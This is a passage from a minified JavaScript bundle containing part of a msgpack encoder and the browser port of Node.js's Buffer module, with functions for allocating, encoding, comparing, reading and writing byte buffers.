1058 var n = new i(t);
1059 return n.write(e), n.read()
1060 };
1061 var i = n(10).EncodeBuffer
1062}, function(e, t, n) {
1063 t.EncodeBuffer = r;
1064 var i = n(2).preset;
1065
1066 function r(e) {
1067 if (!(this instanceof r)) return new r(e);
1068 if (e && (this.options = e, e.codec)) {
1069 var t = this.codec = e.codec;
1070 t.bufferish && (this.bufferish = t.bufferish)
1071 }
1072 }
1073 n(14).FlexEncoder.mixin(r.prototype), r.prototype.codec = i, r.prototype.write =
1074 function(e) {
1075 this.codec.encode(this, e)
1076 }
1077}, function(e, t, n) {
1078 "use strict";
1079 (function(e) {
1080 /*!
1081 * The buffer module from node.js, for the browser.
1082 *
1083 * @author Feross Aboukhadijeh <http://feross.org>
1084 * @license MIT
1085 */
1086 var i = n(26),
1087 r = n(4),
1088 s = n(27);
1089
1090 function a() {
1091 return c.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
1092 }
1093
1094 function o(e, t) {
1095 if (a() < t) throw new RangeError("Invalid typed array length");
1096 return c.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t)).__proto__ = c.prototype :
1097 (null === e && (e = new c(t)), e.length = t), e
1098 }
1099
1100 function c(e, t, n) {
1101 if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c)) return new c(e, t, n);
1102 if ("number" == typeof e) {
1103 if ("string" == typeof t) throw new Error(
1104 "If encoding is specified then the first argument must be a string");
1105 return u(this, e)
1106 }
1107 return l(this, e, t, n)
1108 }
1109
1110 function l(e, t, n, i) {
1111 if ("number" == typeof t) throw new TypeError(
1112 '"value" argument must not be a number');
1113 return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer ?
1114 function(e, t, n, i) {
1115 if (t.byteLength, n < 0 || t.byteLength < n) throw new RangeError(
1116 "'offset' is out of bounds");
1117 if (t.byteLength < n + (i || 0)) throw new RangeError(
1118 "'length' is out of bounds");
1119 return t = void 0 === n && void 0 === i ? new Uint8Array(t) : void 0 ===
1120 i ? new Uint8Array(t, n) : new Uint8Array(t, n, i), c.TYPED_ARRAY_SUPPORT ?
1121 (e = t).__proto__ = c.prototype : e = f(e, t), e
1122 }(e, t, n, i) : "string" == typeof t ? function(e, t, n) {
1123 if ("string" == typeof n && "" !== n || (n = "utf8"), !c.isEncoding(n))
1124 throw new TypeError('"encoding" must be a valid string encoding');
1125 var i = 0 | p(t, n),
1126 r = (e = o(e, i)).write(t, n);
1127 return r !== i && (e = e.slice(0, r)), e
1128 }(e, t, n) : function(e, t) {
1129 if (c.isBuffer(t)) {
1130 var n = 0 | d(t.length);
1131 return 0 === (e = o(e, n)).length || t.copy(e, 0, 0, n), e
1132 }
1133 if (t) {
1134 if ("undefined" != typeof ArrayBuffer && t.buffer instanceof ArrayBuffer ||
1135 "length" in t) return "number" != typeof t.length || function(e) {
1136 return e != e
1137 }(t.length) ? o(e, 0) : f(e, t);
1138 if ("Buffer" === t.type && s(t.data)) return f(e, t.data)
1139 }
1140 throw new TypeError(
1141 "First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object."
1142 )
1143 }(e, t)
1144 }
1145
1146 function h(e) {
1147 if ("number" != typeof e) throw new TypeError(
1148 '"size" argument must be a number');
1149 if (e < 0) throw new RangeError('"size" argument must not be negative')
1150 }
1151
1152 function u(e, t) {
1153 if (h(t), e = o(e, t < 0 ? 0 : 0 | d(t)), !c.TYPED_ARRAY_SUPPORT)
1154 for (var n = 0; n < t; ++n) e[n] = 0;
1155 return e
1156 }
1157
1158 function f(e, t) {
1159 var n = t.length < 0 ? 0 : 0 | d(t.length);
1160 e = o(e, n);
1161 for (var i = 0; i < n; i += 1) e[i] = 255 & t[i];
1162 return e
1163 }
1164
1165 function d(e) {
1166 if (e >= a()) throw new RangeError(
1167 "Attempt to allocate Buffer larger than maximum size: 0x" + a().toString(
1168 16) + " bytes");
1169 return 0 | e
1170 }
1171
1172 function p(e, t) {
1173 if (c.isBuffer(e)) return e.length;
1174 if ("undefined" != typeof ArrayBuffer && "function" == typeof ArrayBuffer
1175 .isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer)) return e
1176 .byteLength;
1177 "string" != typeof e && (e = "" + e);
1178 var n = e.length;
1179 if (0 === n) return 0;
1180 for (var i = !1;;) switch (t) {
1181 case "ascii":
1182 case "latin1":
1183 case "binary":
1184 return n;
1185 case "utf8":
1186 case "utf-8":
1187 case void 0:
1188 return z(e).length;
1189 case "ucs2":
1190 case "ucs-2":
1191 case "utf16le":
1192 case "utf-16le":
1193 return 2 * n;
1194 case "hex":
1195 return n >>> 1;
1196 case "base64":
1197 return H(e).length;
1198 default:
1199 if (i) return z(e).length;
1200 t = ("" + t).toLowerCase(), i = !0
1201 }
1202 }
1203
1204 function g(e, t, n) {
1205 var i = e[t];
1206 e[t] = e[n], e[n] = i
1207 }
1208
1209 function m(e, t, n, i, r) {
1210 if (0 === e.length) return -1;
1211 if ("string" == typeof n ? (i = n, n = 0) : n > 2147483647 ? n =
1212 2147483647 : n < -2147483648 && (n = -2147483648), n = +n, isNaN(n) && (
1213 n = r ? 0 : e.length - 1), n < 0 && (n = e.length + n), n >= e.length) {
1214 if (r) return -1;
1215 n = e.length - 1
1216 } else if (n < 0) {
1217 if (!r) return -1;
1218 n = 0
1219 }
1220 if ("string" == typeof t && (t = c.from(t, i)), c.isBuffer(t)) return 0 ===
1221 t.length ? -1 : y(e, t, n, i, r);
1222 if ("number" == typeof t) return t &= 255, c.TYPED_ARRAY_SUPPORT &&
1223 "function" == typeof Uint8Array.prototype.indexOf ? r ? Uint8Array.prototype
1224 .indexOf.call(e, t, n) : Uint8Array.prototype.lastIndexOf.call(e, t, n) :
1225 y(e, [t], n, i, r);
1226 throw new TypeError("val must be string, number or Buffer")
1227 }
1228
1229 function y(e, t, n, i, r) {
1230 var s, a = 1,
1231 o = e.length,
1232 c = t.length;
1233 if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) || "ucs-2" ===
1234 i || "utf16le" === i || "utf-16le" === i)) {
1235 if (e.length < 2 || t.length < 2) return -1;
1236 a = 2, o /= 2, c /= 2, n /= 2
1237 }
1238
1239 function l(e, t) {
1240 return 1 === a ? e[t] : e.readUInt16BE(t * a)
1241 }
1242 if (r) {
1243 var h = -1;
1244 for (s = n; s < o; s++)
1245 if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
1246 if (-1 === h && (h = s), s - h + 1 === c) return h * a
1247 } else -1 !== h && (s -= s - h), h = -1
1248 } else
1249 for (n + c > o && (n = o - c), s = n; s >= 0; s--) {
1250 for (var u = !0, f = 0; f < c; f++)
1251 if (l(e, s + f) !== l(t, f)) {
1252 u = !1;
1253 break
1254 }
1255 if (u) return s
1256 }
1257 return -1
1258 }
1259
1260 function k(e, t, n, i) {
1261 n = Number(n) || 0;
1262 var r = e.length - n;
1263 i ? (i = Number(i)) > r && (i = r) : i = r;
1264 var s = t.length;
1265 if (s % 2 != 0) throw new TypeError("Invalid hex string");
1266 i > s / 2 && (i = s / 2);
1267 for (var a = 0; a < i; ++a) {
1268 var o = parseInt(t.substr(2 * a, 2), 16);
1269 if (isNaN(o)) return a;
1270 e[n + a] = o
1271 }
1272 return a
1273 }
1274
1275 function v(e, t, n, i) {
1276 return V(z(t, e.length - n), e, n, i)
1277 }
1278
1279 function w(e, t, n, i) {
1280 return V(function(e) {
1281 for (var t = [], n = 0; n < e.length; ++n) t.push(255 & e.charCodeAt(n));
1282 return t
1283 }(t), e, n, i)
1284 }
1285
1286 function b(e, t, n, i) {
1287 return w(e, t, n, i)
1288 }
1289
1290 function x(e, t, n, i) {
1291 return V(H(t), e, n, i)
1292 }
1293
1294 function S(e, t, n, i) {
1295 return V(function(e, t) {
1296 for (var n, i, r, s = [], a = 0; a < e.length && !((t -= 2) < 0); ++a)
1297 i = (n = e.charCodeAt(a)) >> 8, r = n % 256, s.push(r), s.push(i);
1298 return s
1299 }(t, e.length - n), e, n, i)
1300 }
1301
1302 function T(e, t, n) {
1303 return 0 === t && n === e.length ? i.fromByteArray(e) : i.fromByteArray(e
1304 .slice(t, n))
1305 }
1306
1307 function I(e, t, n) {
1308 n = Math.min(e.length, n);
1309 for (var i = [], r = t; r < n;) {
1310 var s, a, o, c, l = e[r],
1311 h = null,
1312 u = l > 239 ? 4 : l > 223 ? 3 : l > 191 ? 2 : 1;
1313 if (r + u <= n) switch (u) {
1314 case 1:
1315 l < 128 && (h = l);
1316 break;
1317 case 2:
1318 128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6 | 63 & s) > 127 &&
1319 (h = c);
1320 break;
1321 case 3:
1322 s = e[r + 1], a = e[r + 2], 128 == (192 & s) && 128 == (192 & a) && (
1323 c = (15 & l) << 12 | (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 ||
1324 c > 57343) && (h = c);
1325 break;
1326 case 4:
1327 s = e[r + 1], a = e[r + 2], o = e[r + 3], 128 == (192 & s) && 128 ==
1328 (192 & a) && 128 == (192 & o) && (c = (15 & l) << 18 | (63 & s) <<
1329 12 | (63 & a) << 6 | 63 & o) > 65535 && c < 1114112 && (h = c)
1330 }
1331 null === h ? (h = 65533, u = 1) : h > 65535 && (h -= 65536, i.push(h >>>
1332 10 & 1023 | 55296), h = 56320 | 1023 & h), i.push(h), r += u
1333 }
1334 return function(e) {
1335 var t = e.length;
1336 if (t <= E) return String.fromCharCode.apply(String, e);
1337 for (var n = "", i = 0; i < t;) n += String.fromCharCode.apply(String,
1338 e.slice(i, i += E));
1339 return n
1340 }(i)
1341 }
1342 t.Buffer = c, t.SlowBuffer = function(e) {
1343 return +e != e && (e = 0), c.alloc(+e)
1344 }, t.INSPECT_MAX_BYTES = 50, c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ?
1345 e.TYPED_ARRAY_SUPPORT : function() {
1346 try {
1347 var e = new Uint8Array(1);
1348 return e.__proto__ = {
1349 __proto__: Uint8Array.prototype,
1350 foo: function() {
1351 return 42
1352 }
1353 }, 42 === e.foo() && "function" == typeof e.subarray && 0 === e.subarray(
1354 1, 1).byteLength
1355 } catch (e) {
1356 return !1
1357 }
1358 }(), t.kMaxLength = a(), c.poolSize = 8192, c._augment = function(e) {
1359 return e.__proto__ = c.prototype, e
1360 }, c.from = function(e, t, n) {
1361 return l(null, e, t, n)
1362 }, c.TYPED_ARRAY_SUPPORT && (c.prototype.__proto__ = Uint8Array.prototype,
1363 c.__proto__ = Uint8Array, "undefined" != typeof Symbol && Symbol.species &&
1364 c[Symbol.species] === c && Object.defineProperty(c, Symbol.species, {
1365 value: null,
1366 configurable: !0
1367 })), c.alloc = function(e, t, n) {
1368 return function(e, t, n, i) {
1369 return h(t), t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ?
1370 o(e, t).fill(n, i) : o(e, t).fill(n) : o(e, t)
1371 }(null, e, t, n)
1372 }, c.allocUnsafe = function(e) {
1373 return u(null, e)
1374 }, c.allocUnsafeSlow = function(e) {
1375 return u(null, e)
1376 }, c.isBuffer = function(e) {
1377 return !(null == e || !e._isBuffer)
1378 }, c.compare = function(e, t) {
1379 if (!c.isBuffer(e) || !c.isBuffer(t)) throw new TypeError(
1380 "Arguments must be Buffers");
1381 if (e === t) return 0;
1382 for (var n = e.length, i = t.length, r = 0, s = Math.min(n, i); r < s; ++
1383 r)
1384 if (e[r] !== t[r]) {
1385 n = e[r], i = t[r];
1386 break
1387 }
1388 return n < i ? -1 : i < n ? 1 : 0
1389 }, c.isEncoding = function(e) {
1390 switch (String(e).toLowerCase()) {
1391 case "hex":
1392 case "utf8":
1393 case "utf-8":
1394 case "ascii":
1395 case "latin1":
1396 case "binary":
1397 case "base64":
1398 case "ucs2":
1399 case "ucs-2":
1400 case "utf16le":
1401 case "utf-16le":
1402 return !0;
1403 default:
1404 return !1
1405 }
1406 }, c.concat = function(e, t) {
1407 if (!s(e)) throw new TypeError(
1408 '"list" argument must be an Array of Buffers');
1409 if (0 === e.length) return c.alloc(0);
1410 var n;
1411 if (void 0 === t)
1412 for (t = 0, n = 0; n < e.length; ++n) t += e[n].length;
1413 var i = c.allocUnsafe(t),
1414 r = 0;
1415 for (n = 0; n < e.length; ++n) {
1416 var a = e[n];
1417 if (!c.isBuffer(a)) throw new TypeError(
1418 '"list" argument must be an Array of Buffers');
1419 a.copy(i, r), r += a.length
1420 }
1421 return i
1422 }, c.byteLength = p, c.prototype._isBuffer = !0, c.prototype.swap16 =
1423 function() {
1424 var e = this.length;
1425 if (e % 2 != 0) throw new RangeError(
1426 "Buffer size must be a multiple of 16-bits");
1427 for (var t = 0; t < e; t += 2) g(this, t, t + 1);
1428 return this
1429 }, c.prototype.swap32 = function() {
1430 var e = this.length;
1431 if (e % 4 != 0) throw new RangeError(
1432 "Buffer size must be a multiple of 32-bits");
1433 for (var t = 0; t < e; t += 4) g(this, t, t + 3), g(this, t + 1, t + 2);
1434 return this
1435 }, c.prototype.swap64 = function() {
1436 var e = this.length;
1437 if (e % 8 != 0) throw new RangeError(
1438 "Buffer size must be a multiple of 64-bits");
1439 for (var t = 0; t < e; t += 8) g(this, t, t + 7), g(this, t + 1, t + 6),
1440 g(this, t + 2, t + 5), g(this, t + 3, t + 4);
1441 return this
1442 }, c.prototype.toString = function() {
1443 var e = 0 | this.length;
1444 return 0 === e ? "" : 0 === arguments.length ? I(this, 0, e) : function(
1445 e, t, n) {
1446 var i = !1;
1447 if ((void 0 === t || t < 0) && (t = 0), t > this.length) return "";
1448 if ((void 0 === n || n > this.length) && (n = this.length), n <= 0)
1449 return "";
1450 if ((n >>>= 0) <= (t >>>= 0)) return "";
1451 for (e || (e = "utf8");;) switch (e) {
1452 case "hex":
1453 return P(this, t, n);
1454 case "utf8":
1455 case "utf-8":
1456 return I(this, t, n);
1457 case "ascii":
1458 return M(this, t, n);
1459 case "latin1":
1460 case "binary":
1461 return A(this, t, n);
1462 case "base64":
1463 return T(this, t, n);
1464 case "ucs2":
1465 case "ucs-2":
1466 case "utf16le":
1467 case "utf-16le":
1468 return B(this, t, n);
1469 default:
1470 if (i) throw new TypeError("Unknown encoding: " + e);
1471 e = (e + "").toLowerCase(), i = !0
1472 }
1473 }.apply(this, arguments)
1474 }, c.prototype.equals = function(e) {
1475 if (!c.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
1476 return this === e || 0 === c.compare(this, e)
1477 }, c.prototype.inspect = function() {
1478 var e = "",
1479 n = t.INSPECT_MAX_BYTES;
1480 return this.length > 0 && (e = this.toString("hex", 0, n).match(/.{2}/g)
1481 .join(" "), this.length > n && (e += " ... ")), "<Buffer " + e + ">"
1482 }, c.prototype.compare = function(e, t, n, i, r) {
1483 if (!c.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
1484 if (void 0 === t && (t = 0), void 0 === n && (n = e ? e.length : 0),
1485 void 0 === i && (i = 0), void 0 === r && (r = this.length), t < 0 || n >
1486 e.length || i < 0 || r > this.length) throw new RangeError(
1487 "out of range index");
1488 if (i >= r && t >= n) return 0;
1489 if (i >= r) return -1;
1490 if (t >= n) return 1;
1491 if (this === e) return 0;
1492 for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o =
1493 Math.min(s, a), l = this.slice(i, r), h = e.slice(t, n), u = 0; u < o; ++
1494 u)
1495 if (l[u] !== h[u]) {
1496 s = l[u], a = h[u];
1497 break
1498 }
1499 return s < a ? -1 : a < s ? 1 : 0
1500 }, c.prototype.includes = function(e, t, n) {
1501 return -1 !== this.indexOf(e, t, n)
1502 }, c.prototype.indexOf = function(e, t, n) {
1503 return m(this, e, t, n, !0)
1504 }, c.prototype.lastIndexOf = function(e, t, n) {
1505 return m(this, e, t, n, !1)
1506 }, c.prototype.write = function(e, t, n, i) {
1507 if (void 0 === t) i = "utf8", n = this.length, t = 0;
1508 else if (void 0 === n && "string" == typeof t) i = t, n = this.length, t =
1509 0;
1510 else {
1511 if (!isFinite(t)) throw new Error(
1512 "Buffer.write(string, encoding, offset[, length]) is no longer supported"
1513 );
1514 t |= 0, isFinite(n) ? (n |= 0, void 0 === i && (i = "utf8")) : (i = n,
1515 n = void 0)
1516 }
1517 var r = this.length - t;
1518 if ((void 0 === n || n > r) && (n = r), e.length > 0 && (n < 0 || t < 0) ||
1519 t > this.length) throw new RangeError(
1520 "Attempt to write outside buffer bounds");
1521 i || (i = "utf8");
1522 for (var s = !1;;) switch (i) {
1523 case "hex":
1524 return k(this, e, t, n);
1525 case "utf8":
1526 case "utf-8":
1527 return v(this, e, t, n);
1528 case "ascii":
1529 return w(this, e, t, n);
1530 case "latin1":
1531 case "binary":
1532 return b(this, e, t, n);
1533 case "base64":
1534 return x(this, e, t, n);
1535 case "ucs2":
1536 case "ucs-2":
1537 case "utf16le":
1538 case "utf-16le":
1539 return S(this, e, t, n);
1540 default:
1541 if (s) throw new TypeError("Unknown encoding: " + i);
1542 i = ("" + i).toLowerCase(), s = !0
1543 }
1544 }, c.prototype.toJSON = function() {
1545 return {
1546 type: "Buffer",
1547 data: Array.prototype.slice.call(this._arr || this, 0)
1548 }
1549 };
1550 var E = 4096;
1551
1552 function M(e, t, n) {
1553 var i = "";
1554 n = Math.min(e.length, n);
1555 for (var r = t; r < n; ++r) i += String.fromCharCode(127 & e[r]);
1556 return i
1557 }
1558
1559 function A(e, t, n) {
1560 var i = "";
1561 n = Math.min(e.length, n);
1562 for (var r = t; r < n; ++r) i += String.fromCharCode(e[r]);
1563 return i
1564 }
1565
1566 function P(e, t, n) {
1567 var i = e.length;
1568 (!t || t < 0) && (t = 0), (!n || n < 0 || n > i) && (n = i);
1569 for (var r = "", s = t; s < n; ++s) r += F(e[s]);
1570 return r
1571 }
1572
1573 function B(e, t, n) {
1574 for (var i = e.slice(t, n), r = "", s = 0; s < i.length; s += 2) r +=
1575 String.fromCharCode(i[s] + 256 * i[s + 1]);
1576 return r
1577 }
1578
1579 function C(e, t, n) {
1580 if (e % 1 != 0 || e < 0) throw new RangeError("offset is not uint");
1581 if (e + t > n) throw new RangeError(
1582 "Trying to access beyond buffer length")
1583 }
1584
1585 function O(e, t, n, i, r, s) {
1586 if (!c.isBuffer(e)) throw new TypeError(
1587 '"buffer" argument must be a Buffer instance');
1588 if (t > r || t < s) throw new RangeError(
1589 '"value" argument is out of bounds');
1590 if (n + i > e.length) throw new RangeError("Index out of range")
1591 }
1592
1593 function R(e, t, n, i) {
1594 t < 0 && (t = 65535 + t + 1);
1595 for (var r = 0, s = Math.min(e.length - n, 2); r < s; ++r) e[n + r] = (t &
1596 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 - r)
1597 }
1598
1599 function j(e, t, n, i) {
1600 t < 0 && (t = 4294967295 + t + 1);
1601 for (var r = 0, s = Math.min(e.length - n, 4); r < s; ++r) e[n + r] = t >>>
1602 8 * (i ? r : 3 - r) & 255
1603 }
1604
1605 function _(e, t, n, i, r, s) {
1606 if (n + i > e.length) throw new RangeError("Index out of range");
1607 if (n < 0) throw new RangeError("Index out of range")
1608 }
1609
1610 function U(e, t, n, i, s) {
1611 return s || _(e, 0, n, 4), r.write(e, t, n, i, 23, 4), n + 4
1612 }
1613
1614 function D(e, t, n, i, s) {
1615 return s || _(e, 0, n, 8), r.write(e, t, n, i, 52, 8), n + 8
1616 }
1617 c.prototype.slice = function(e, t) {
1618 var n, i = this.length;
1619 if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i), (t =
1620 void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t > i && (t =
1621 i), t < e && (t = e), c.TYPED_ARRAY_SUPPORT)(n = this.subarray(e, t)).__proto__ =
1622 c.prototype;
1623 else {
1624 var r = t - e;
1625 n = new c(r, void 0);
1626 for (var s = 0; s < r; ++s) n[s] = this[s + e]
1627 }
1628 return n
1629 }, c.prototype.readUIntLE = function(e, t, n) {
1630 e |= 0, t |= 0, n || C(e, t, this.length);
1631 for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256);) i += this[e +
1632 s] * r;
1633 return i
1634 }, c.prototype.readUIntBE = function(e, t, n) {
1635 e |= 0, t |= 0, n || C(e, t, this.length);
1636 for (var i = this[e + --t], r = 1; t > 0 && (r *= 256);) i += this[e +
1637 --t] * r;
1638 return i
1639 }, c.prototype.readUInt8 = function(e, t) {
1640 return t || C(e, 1, this.length), this[e]
1641 }, c.prototype.readUInt16LE = function(e, t) {
1642 return t || C(e, 2, this.length), this[e] | this[e + 1] << 8
1643 }, c.prototype.readUInt16BE = function(e, t) {
1644 return t || C(e, 2, this.length), this[e] << 8 | this[e + 1]
1645 }, c.prototype.readUInt32LE = function(e, t) {
1646 return t || C(e, 4, this.length), (this[e] | this[e + 1] << 8 | this[e +
1647 2] << 16) + 16777216 * this[e + 3]
1648 }, c.prototype.readUInt32BE = function(e, t) {
1649 return t || C(e, 4, this.length), 16777216 * this[e] + (this[e + 1] <<
1650 16 | this[e + 2] << 8 | this[e + 3])
1651 }, c.prototype.readIntLE = function(e, t, n) {
1652 e |= 0, t |= 0, n || C(e, t, this.length);
1653 for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256);) i += this[e +
1654 s] * r;
1655 return i >= (r *= 128) && (i -= Math.pow(2, 8 * t)), i
1656 }, c.prototype.readIntBE = function(e, t, n) {
1657 e |= 0, t |= 0, n || C(e, t, this.length);
1658 for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256);) s +=
1659 this[e + --i] * r;
1660 return s >= (r *= 128) && (s -= Math.pow(2, 8 * t)), s
1661 }, c.prototype.readInt8 = function(e, t) {
1662 return t || C(e, 1, this.length), 128 & this[e] ? -1 * (255 - this[e] +
1663 1) : this[e]
1664 }, c.prototype.readInt16LE = function(e, t) {
1665 t || C(e, 2, this.length);
1666 var n = this[e] | this[e + 1] << 8;
1667 return 32768 & n ? 4294901760 | n : n
1668 }, c.prototype.readInt16BE = function(e, t) {
1669 t || C(e, 2, this.length);
1670 var n = this[e + 1] | this[e] << 8;
1671 return 32768 & n ? 4294901760 | n : n
1672 }, c.prototype.readInt32LE = function(e, t) {
1673 return t || C(e, 4, this.length), this[e] | this[e + 1] << 8 | this[e +
1674 2] << 16 | this[e + 3] << 24
1675 }, c.prototype.readInt32BE = function(e, t) {
1676 return t || C(e, 4, this.length), this[e] << 24 | this[e + 1] << 16 |
1677 this[e + 2] << 8 | this[e + 3]
1678 }, c.prototype.readFloatLE = function(e, t) {
1679 return t || C(e, 4, this.length), r.read(this, e, !0, 23, 4)
1680 }, c.prototype.readFloatBE = function(e, t) {
1681 return t || C(e, 4, this.length), r.read(this, e, !1, 23, 4)
1682 }, c.prototype.readDoubleLE = function(e, t) {
1683 return t || C(e, 8, this.length), r.read(this, e, !0, 52, 8)
1684 }, c.prototype.readDoubleBE = function(e, t) {
1685 return t || C(e, 8, this.length), r.read(this, e, !1, 52, 8)
1686 }, c.prototype.writeUIntLE = function(e, t, n, i) {
1687 e = +e, t |= 0, n |= 0, i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
1688 var r = 1,
1689 s = 0;
1690 for (this[t] = 255 & e; ++s < n && (r *= 256);) this[t + s] = e / r &
1691 255;
1692 return t + n
1693 }, c.prototype.writeUIntBE = function(e, t, n, i) {
1694 e = +e, t |= 0, n |= 0, i || O(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
1695 var r = n - 1,
1696 s = 1;
1697 for (this[t + r] = 255 & e; --r >= 0 && (s *= 256);) this[t + r] = e / s &
1698 255;
1699 return t + n
1700 }, c.prototype.writeUInt8 = function(e, t, n) {
1701 return e = +e, t |= 0, n || O(this, e, t, 1, 255, 0), c.TYPED_ARRAY_SUPPORT ||
1702 (e = Math.floor(e)), this[t] = 255 & e, t + 1
1703 }, c.prototype.writeUInt16LE = function(e, t, n) {
1704 return e = +e, t |= 0, n || O(this, e, t, 2, 65535, 0), c.TYPED_ARRAY_SUPPORT ?
1705 (this[t] = 255 & e, this[t + 1] = e >>> 8) : R(this, e, t, !0), t + 2
1706 }, c.prototype.writeUInt16BE = function(e, t, n) {
1707 return e = +e, t |= 0, n || O(this, e, t, 2, 65535, 0), c.TYPED_ARRAY_SUPPORT ?
1708 (this[t] = e >>> 8, this[t + 1] = 255 & e) : R(this, e, t, !1), t + 2
1709 }, c.prototype.writeUInt32LE = function(e, t, n) {
1710 return e = +e, t |= 0, n || O(this, e, t, 4, 4294967295, 0), c.TYPED_ARRAY_SUPPORT ?
1711 (this[t + 3] = e >>> 24, this[t + 2] = e >>> 16, this[t + 1] = e >>> 8,
1712 this[t] = 255 & e) : j(this, e, t, !0), t + 4
1713 }, c.prototype.writeUInt32BE = function(e, t, n) {
1714 return e = +e, t |= 0, n || O(this, e, t, 4, 4294967295, 0), c.TYPED_ARRAY_SUPPORT ?
1715 (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8,
1716 this[t + 3] = 255 & e) : j(this, e, t, !1), t + 4
1717 }, c.prototype.writeIntLE = function(e, t, n, i) {
1718 if (e = +e, t |= 0, !i) {
1719 var r = Math.pow(2, 8 * n - 1);
1720 O(this, e, t, n, r - 1, -r)
1721 }
1722 var s = 0,
1723 a = 1,
1724 o = 0;
1725 for (this[t] = 255 & e; ++s < n && (a *= 256);) e < 0 && 0 === o && 0 !==
1726 this[t + s - 1] && (o = 1), this[t + s] = (e / a >> 0) - o & 255;
1727 return t + n
1728 }, c.prototype.writeIntBE = function(e, t, n, i) {
1729 if (e = +e, t |= 0, !i) {
1730 var r = Math.pow(2, 8 * n - 1);
1731 O(this, e, t, n, r - 1, -r)
1732 }
1733 var s = n - 1,
1734 a = 1,
1735 o = 0;
1736 for (this[t + s] = 255 & e; --s >= 0 && (a *= 256);) e < 0 && 0 === o &&
1737 0 !== this[t + s + 1] && (o = 1), this[t + s] = (e / a >> 0) - o & 255;
1738 return t + n
1739 }, c.prototype.writeInt8 = function(e, t, n) {
1740 return e = +e, t |= 0, n || O(this, e, t, 1, 127, -128), c.TYPED_ARRAY_SUPPORT ||
1741 (e = Math.floor(e)), e < 0 && (e = 255 + e + 1), this[t] = 255 & e, t +
1742 1
1743 }, c.prototype.writeInt16LE = function(e, t, n) {
1744 return e = +e, t |= 0, n || O(this, e, t, 2, 32767, -32768), c.TYPED_ARRAY_SUPPORT ?
1745 (this[t] = 255 & e, this[t + 1] = e >>> 8) : R(this, e, t, !0), t + 2
1746 }, c.prototype.writeInt16BE = function(e, t, n) {
1747 return e = +e, t |= 0, n || O(this, e, t, 2, 32767, -32768), c.TYPED_ARRAY_SUPPORT ?
1748 (this[t] = e >>> 8, this[t + 1] = 255 & e) : R(this, e, t, !1), t + 2
1749 }, c.prototype.writeInt32LE = function(e, t, n) {
1750 return e = +e, t |= 0, n || O(this, e, t, 4, 2147483647, -2147483648), c
1751 .TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8, this[
1752 t + 2] = e >>> 16, this[t + 3] = e >>> 24) : j(this, e, t, !0), t + 4
1753 }, c.prototype.writeInt32BE = function(e, t, n) {
1754 return e = +e, t |= 0, n || O(this, e, t, 4, 2147483647, -2147483648), e <
1755 0 && (e = 4294967295 + e + 1), c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>>
1756 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 &
1757 e) : j(this, e, t, !1), t + 4
1758 }, c.prototype.writeFloatLE = function(e, t, n) {
1759 return U(this, e, t, !0, n)
1760 }, c.prototype.writeFloatBE = function(e, t, n) {
1761 return U(this, e, t, !1, n)
1762 }, c.prototype.writeDoubleLE = function(e, t, n) {
1763 return D(this, e, t, !0, n)
1764 }, c.prototype.writeDoubleBE = function(e, t, n) {
1765 return D(this, e, t, !1, n)
1766 }, c.prototype.copy = function(e, t, n, i) {
1767 if (n || (n = 0), i || 0 === i || (i = this.length), t >= e.length && (t =
1768 e.length), t || (t = 0), i > 0 && i < n && (i = n), i === n) return 0;
1769 if (0 === e.length || 0 === this.length) return 0;
1770 if (t < 0) throw new RangeError("targetStart out of bounds");
1771 if (n < 0 || n >= this.length) throw new RangeError(
1772 "sourceStart out of bounds");
1773 if (i < 0) throw new RangeError("sourceEnd out of bounds");
1774 i > this.length && (i = this.length), e.length - t < i - n && (i = e.length -
1775 t + n);
1776 var r, s = i - n;
1777 if (this === e && n < t && t < i)
1778 for (r = s - 1; r >= 0; --r) e[r + t] = this[r + n];
1779 else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
1780 for (r = 0; r < s; ++r) e[r + t] = this[r + n];
1781 else Uint8Array.prototype.set.call(e, this.subarray(n, n + s), t);
1782 return s
1783 }, c.prototype.fill = function(e, t, n, i) {
1784 if ("string" == typeof e) {
1785 if ("string" == typeof t ? (i = t, t = 0, n = this.length) : "string" ==
1786 typeof n && (i = n, n = this.length), 1 === e.length) {
1787 var r = e.charCodeAt(0);
1788 r < 256 && (e = r)
1789 }
1790 if (void 0 !== i && "string" != typeof i) throw new TypeError(
1791 "encoding must be a string");
1792 if ("string" == typeof i && !c.isEncoding(i)) throw new TypeError(
1793 "Unknown encoding: " + i)
1794 } else "number" == typeof e && (e &= 255);
1795 if (t < 0 || this.length < t || this.length < n) throw new RangeError(
1796 "Out of range index");
1797 if (n <= t) return this;
1798 var s;
1799 if (t >>>= 0, n = void 0 === n ? this.length : n >>> 0, e || (e = 0),
1800 "number" == typeof e)
1801 for (s = t; s < n; ++s) this[s] = e;
1802 else {
1803 var a = c.isBuffer(e) ? e : z(new c(e, i).toString()),
1804 o = a.length;
1805 for (s = 0; s < n - t; ++s) this[s + t] = a[s % o]
1806 }
1807 return this
1808 };
